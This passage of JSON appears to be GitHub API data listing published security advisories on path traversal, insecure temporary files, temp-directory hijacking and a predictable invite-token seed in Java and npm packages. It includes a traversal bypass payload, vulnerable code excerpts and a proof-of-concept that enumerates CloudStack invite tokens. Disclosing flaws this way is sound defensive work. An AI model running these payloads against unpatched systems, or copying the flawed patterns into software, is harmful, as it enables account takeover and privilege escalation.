Linux `println(new File(\"/var/\"))` returns `/var`, but `println(new File(\"/var\", \"/\"))` - `/var/`, however `println(new File(\"/var\", \"/\").getCanonicalPath())` - `/var`.\r\n> \\- [@JarLob (Jaroslav Lobačevski)](https://github.com/JarLob)\r\n\r\n### Patches\r\n\r\nNone\r\n\r\n### Workarounds\r\n\r\nNone\r\n\r\n### References\r\n\r\nSimilar vulnerabilities:\r\n - ESAPI (The OWASP Enterprise Security API) - https://nvd.nist.gov/vuln/detail/CVE-2022-23457\r\n\r\n### Response from Microsoft\r\n\r\n> VULN-066991 CRM:0765000224\r\n>\r\n> Hello,\r\n>\r\n> Thank you for contacting the Microsoft Security Response Center (MSRC). We appreciate the time taken to submit this assessment.\r\n> \r\n> Upon investigation, we have determined that this submission does not meet the definition of a security vulnerability for servicing. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering. \r\n> \r\n> As such, this thread is being closed and no longer monitored. We apologize for any inconvenience this may have caused.\r\n> \r\n> If you believe this determination to be in error, submit a new report at https://aka.ms/secure-at\r\n> \r\n> Please include:\r\n> \r\n> Relevant information previously provided in your initial report\r\n> Detailed steps required to consistently reproduce the issue\r\n> Short explanation on how an attacker could use the information to exploit another user remotely\r\n> Proof-of-concept (POC), such as a video recording, crash reports, screenshots, or relevant code samples\r\n> \r\n> More information on reporting a security vulnerability can be found at [https://www.microsoft.com/msrc/faqs-report-an-issue](https://www.microsoft.com/en-us/msrc/faqs-report-an-issue?rtc=1).\r\n> \r\n> Regards,\r\n> \r\n> Ali \r\n> MSRC\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7hfp-mpq6-2jhf", "type": "GHSA" } ], "state": "published", "created_at": "2022-05-13T16:50:01Z", "updated_at": "2022-05-16T21:45:15Z", "published_at": "2022-05-16T21:45:15Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "npm", "name": "react-native-code-push" }, "vulnerable_version_range": "<=v7.0.4", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "score": 8.1 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-hfmw-fx2m-jj4c", "cve_id": "CVE-2022-23082", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-hfmw-fx2m-jj4c", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-hfmw-fx2m-jj4c", "summary": "Improper Limitation of a Pathname to a Restricted Directory ('Partial Path Traversal') in io.whitesource:curekit", "description": "### Impact\r\n\r\n`io.whitesource.cure.FileSecurityUtils.isFileOutsideDir(String filePath, String baseDirPath)` incorrectly treats sibling of a root directory (`baseDirPath`) as inside the root directory. As such, `isFileOutsideDir` is an insufficient guard against partial-path traversal attacks.\r\n\r\n#### Vulnerability Root Cause\r\n\r\n```java\r\n public static boolean isFileOutsideDir(\r\n @NonNull final String filePath, @NonNull final String baseDirPath) throws IOException {\r\n File file = new File(filePath);\r\n File baseDir = new File(baseDirPath);\r\n return !file.getCanonicalPath().startsWith(baseDir.getCanonicalPath());\r\n }\r\n```\r\n\\- https://github.com/whitesource/CureKit/blob/d6ac3c382cb9d0b7a9f164eb3db1811d51f47c7c/src/main/java/io/whitesource/cure/FileSecurityUtils.java#L14-L26\r\n\r\nThe above bit of logic can be bypassed with the following payloads:\r\n```java\r\n// The following will return 'false', although the attacker controlled value `/usr/foo/../foo-bar/bar` will be outside the `/usr/foo` directory\r\nisFileOutsideDir(\"/usr/foo/../foo-bar/bar\", \"/usr/foo\")\r\n```\r\n\r\n#### True Root cause\r\n\r\n> If the result of `parent.getCanonicalPath()` is not slash terminated it allows for partial path traversal.\r\n>\r\n> Consider `\"/usr/outnot\".startsWith(\"/usr/out\")`. The check is bypassed although `outnot` is not under the `out` directory.\r\nThe terminating slash may be removed in various places. On Linux `println(new File(\"/var/\"))` returns `/var`, but `println(new File(\"/var\", \"/\"))` - `/var/`, however `println(new File(\"/var\", \"/\").getCanonicalPath())` - `/var`.\r\n> \\- [@JarLob (Jaroslav Lobačevski)](https://github.com/JarLob)\r\n\r\n### References\r\n\r\nSimilar vulnerabilities:\r\n - ESAPI (The OWASP Enterprise Security API) - https://nvd.nist.gov/vuln/detail/CVE-2022-23457", "severity": "critical", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-hfmw-fx2m-jj4c", "type": "GHSA" }, { "value": "CVE-2022-23082", "type": "CVE" } ], "state": "published", "created_at": "2022-05-11T17:06:09Z", "updated_at": "2023-02-27T19:41:51Z", "published_at": "2023-02-27T19:41:51Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "io.whitesource:curekit" }, "vulnerable_version_range": ">= 1.0.1, < 1.1.4", "patched_versions": "1.1.4", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "score": 9.8 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-rvp4-r3g6-8hxq", "cve_id": "CVE-2022-26850", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-rvp4-r3g6-8hxq", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-rvp4-r3g6-8hxq", "summary": "Insufficiently Protected Credentials via Insecure Temporary File in org.apache.nifi:nifi-single-user-utils", "description": "### Impact\r\n\r\n`org.apache.nifi.authentication.single.user.writer.StandardLoginCredentialsWriter` contains a local information disclosure vulnerability due to writing credentials (username and password) to a file that is readable by all other users on unix-like systems. On unix-like systems, the system's temporary directory is shared between all users on that system. As such, files written to that directory without setting the correct file permissions can allow other users on that system to view the contents of the files written to those temporary files.\r\n\r\n### Source\r\n\r\nAn insecure temporary file is created here:\r\n - https://github.com/apache/nifi/blob/6a1c7c72d5b91b9ce5d5cb5b86e3155d21e2c19b/nifi-commons/nifi-single-user-utils/src/main/java/org/apache/nifi/authentication/single/user/writer/StandardLoginCredentialsWriter.java#L75\r\n\r\nThe username and password credentials are written to this file here:\r\n - https://github.com/apache/nifi/blob/6a1c7c72d5b91b9ce5d5cb5b86e3155d21e2c19b/nifi-commons/nifi-single-user-utils/src/main/java/org/apache/nifi/authentication/single/user/writer/StandardLoginCredentialsWriter.java#L85-L95\r\n\r\n### Patches\r\n\r\nThe vulnerability has been patched in version `1.16`.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n\r\n### References\r\n\r\n - https://issues.apache.org/jira/browse/NIFI-9785\r\n - https://github.com/apache/nifi/commit/859d5fe\r\n - https://github.com/apache/nifi/pull/5856\r\n - https://nifi.apache.org/security.html#CVE-2022-26850\r\n - https://twitter.com/JLLeitschuh/status/1511736635645435904?s=20&t=I3w3zF6Y2DUvWYsEFqERjg", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-rvp4-r3g6-8hxq", "type": "GHSA" }, { "value": "CVE-2022-26850", "type": "CVE" } ], "state": "published", "created_at": "2022-03-09T19:15:43Z", "updated_at": "2022-04-06T16:37:48Z", "published_at": "2022-04-06T15:53:54Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.apache.nifi:nifi-single-user-utils" }, "vulnerable_version_range": "<= 1.15.3", "patched_versions": "1.16", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "score": 6.5 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" }, { "cwe_id": "CWE-522", "name": "Insufficiently Protected Credentials" } ], "cwe_ids": [ "CWE-377", "CWE-522" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-cm59-pr5q-cw85", "cve_id": "CVE-2022-27772", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-cm59-pr5q-cw85", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-cm59-pr5q-cw85", "summary": "Temporary Directory Hijacking to Local Privilege Escalation Vulnerability in org.springframework.boot:spring-boot", "description": "This was originally spotted by [@trugPa](https://github.com/trungPa) and communicated here: https://github.com/github/codeql/pull/4473#issuecomment-1030416237\r\n\r\n### Impact\r\n\r\nspring-boot versions prior to version `v2.2.11.RELEASE` was vulnerable to temporary directory hijacking. This vulnerability impacted the `org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir` method.\r\n\r\nThe vulnerable method is used to create a work directory for embedded web servers such as Tomcat and Jetty. The directory contains configuration files, JSP/class files, etc. If a local attacker got the permission to write in this directory, they could completely take over the application (ie. local privilege escalation).\r\n\r\n#### Impact Location\r\n\r\nThis vulnerability impacted the following source location:\r\n\r\n```java\r\n\t/**\r\n\t * Return the absolute temp dir for given web server.\r\n\t * @param prefix server name\r\n\t * @return the temp dir for given server.\r\n\t */\r\n\tprotected final File createTempDir(String prefix) {\r\n\t\ttry {\r\n\t\t\tFile tempDir = File.createTempFile(prefix + \".\", \".\" + getPort());\r\n\t\t\ttempDir.delete();\r\n\t\t\ttempDir.mkdir();\r\n\t\t\ttempDir.deleteOnExit();\r\n\t\t\treturn tempDir;\r\n\t\t}\r\n```\r\n\\- https://github.com/spring-projects/spring-boot/blob/ce70e7d768977242a8ea6f93188388f273be5851/spring-boot-project/spring-boot/src/main/java/org/springframework/boot/web/server/AbstractConfigurableWebServerFactory.java#L165-L177\r\n\r\nThis vulnerability exists because `File.mkdir` returns `false` when it fails to create a directory, it does not throw an exception. As such, the following race condition exists:\r\n\r\n```java\r\nFile tmpDir =File.createTempFile(prefix + \".\", \".\" + getPort()); // Attacker knows the full path of the file that will be generated\r\n// delete the file that was created\r\ntmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Jetty.\r\n// and make a directory of the same name\r\n// SECURITY VULNERABILITY: Race Condition! - Attacker beats java code and now owns this directory\r\ntmpDir.mkdirs(); // This method returns 'false' because it was unable to create the directory. No exception is thrown.\r\n// Attacker can write any new files to this directory that they wish.\r\n// Attacker can read any files created by this process.\r\n```\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nThis vulnerability was inadvertently fixed as a part of this patch: https://github.com/spring-projects/spring-boot/commit/667ccdae84822072f9ea1a27ed5c77964c71002d\r\n\r\nThis vulnerability is patched in versions `v2.2.11.RELEASE` or later.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-cm59-pr5q-cw85", "type": "GHSA" }, { "value": "CVE-2022-27772", "type": "CVE" } ], "state": "published", "created_at": "2022-02-07T18:42:15Z", "updated_at": "2022-03-23T17:16:52Z", "published_at": "2022-02-16T00:05:08Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.springframework.boot:spring-boot" }, "vulnerable_version_range": "< v2.2.11.RELEASE", "patched_versions": "v2.2.11.RELEASE", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "score": 7.8 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" }, { "cwe_id": "CWE-379", "name": "Creation of Temporary File in Directory with Insecure Permissions" } ], "cwe_ids": [ "CWE-377", "CWE-379" ], "credits": [ { "login": "trungPa", "type": "analyst" }, { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "trungPa", "id": 17810017, "node_id": "MDQ6VXNlcjE3ODEwMDE3", "avatar_url": "https://avatars.githubusercontent.com/u/17810017?v=4", "gravatar_id": "", "url": "https://api.github.com/users/trungPa", "html_url": "https://github.com/trungPa", "followers_url": "https://api.github.com/users/trungPa/followers", "following_url": "https://api.github.com/users/trungPa/following{/other_user}", "gists_url": "https://api.github.com/users/trungPa/gists{/gist_id}", "starred_url": "https://api.github.com/users/trungPa/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/trungPa/subscriptions", "organizations_url": "https://api.github.com/users/trungPa/orgs", "repos_url": "https://api.github.com/users/trungPa/repos", "events_url": "https://api.github.com/users/trungPa/events{/privacy}", "received_events_url": "https://api.github.com/users/trungPa/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" }, { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-vpcc-9rh2-8jfp", "cve_id": "CVE-2022-26779", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-vpcc-9rh2-8jfp", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-vpcc-9rh2-8jfp", "summary": "apache/cloudstack: Privileged escalation due to Predictable Seed in Pseudo-Random Number Generator (PRNG) and Use of Insufficiently Random Values", "description": "### Impact\r\n\r\nApache Cloudstack contains a privileged escalation vulnerability in the invite to project logic due to a predictable seed used in a PRNG.\r\n\r\n\r\n### Details\r\n\r\nWhen inviting a user or account to a project via the email, the methods `ProjectManagerImpl.inviteAccountToProject` or `ProjectManagerImpl.inviteUserToProject` are invoked, and a random token is emailed to the invitee to allow them to join the project.\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L849-L873\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L875-L895\r\n\r\nHowever, this random token is generated predictably using the method `generateToken` with the value of `10` using `System.currentTimeMillis()` as the seed for the random number generator.\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1350-L1359\r\n ```java\r\n public static String generateToken(int length) {\r\n String charset = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\r\n Random rand = new Random(System.currentTimeMillis());\r\n StringBuffer sb = new StringBuffer();\r\n for (int i = 0; i < length; i++) {\r\n int pos = rand.nextInt(charset.length());\r\n sb.append(charset.charAt(pos));\r\n }\r\n return sb.toString();\r\n }\r\n ```\r\n\r\nAs such, if an attacker knows around the time an invite was generated to invite another user, that attacker would be able to leverage the invite token to impersonate the invited user's invite acceptance.\r\n\r\nThe invite is stored in the database, but other than \"having the secret token\" there is no further checks that occur to ensure that the user taking advantage of the token is the user that the token was assigned to.\r\n\r\nThe site where the project invite is looked up form the database:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1202\r\nNotice how the account of the current user making the request isn't included in the lookup.\r\n\r\nThe user that is the current caller is pulled from the request here:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1189-L1190\r\n\r\nThen, that accepted invite is assigned to the calling user here:\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1234\r\n - https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1241\r\n\r\nAs such, an attacker is able to leverage an invite a project that they were never sent because they can compute the value of the invite token.\r\n\r\n\r\n### Proof Of Concept\r\n\r\nThe following code will print out all of the possible secret tokens for the next hour:\r\n\r\n```java\r\npublic static String generateToken(long time, int length) {\r\n String charset = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\r\n Random rand = new Random(time);\r\n StringBuffer sb = new StringBuffer();\r\n for (int i = 0; i < length; i++) {\r\n int pos = rand.nextInt(charset.length());\r\n sb.append(charset.charAt(pos));\r\n }\r\n return sb.toString();\r\n}\r\n\r\npublic static void main(String[] args) {\r\n long startTime = System.currentTimeMillis();\r\n LongStream\r\n .rangeClosed(startTime + 0, startTime + (long) (3_600_000))\r\n .parallel()\r\n .mapToObj(time -> generateToken(time, 10))\r\n .forEach(System.out::println);\r\n}\r\n```\r\n\r\n### Patches\r\n\r\n - https://github.com/apache/cloudstack/commit/3fc4ef478d03cd20169d5a3dcdef6233724446be\r\n\r\n### Workarounds\r\n\r\nWhen executing the `addAccountToProject` API call, don't invite by email. Only invite by existing account or user.\r\n\r\n### Mitigating Factors\r\n\r\n`project.invite.required` is false by default and is something that must be enabled by end-users explicitly.\r\n\r\n### References\r\n\r\n - https://owasp.org/www-community/vulnerabilities/Insecure_Randomness\r\n\r\n### For more information\r\n\r\nOpen an issue with the Apache Cloudstack team here: https://github.com/apache/cloudstack/issues\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", 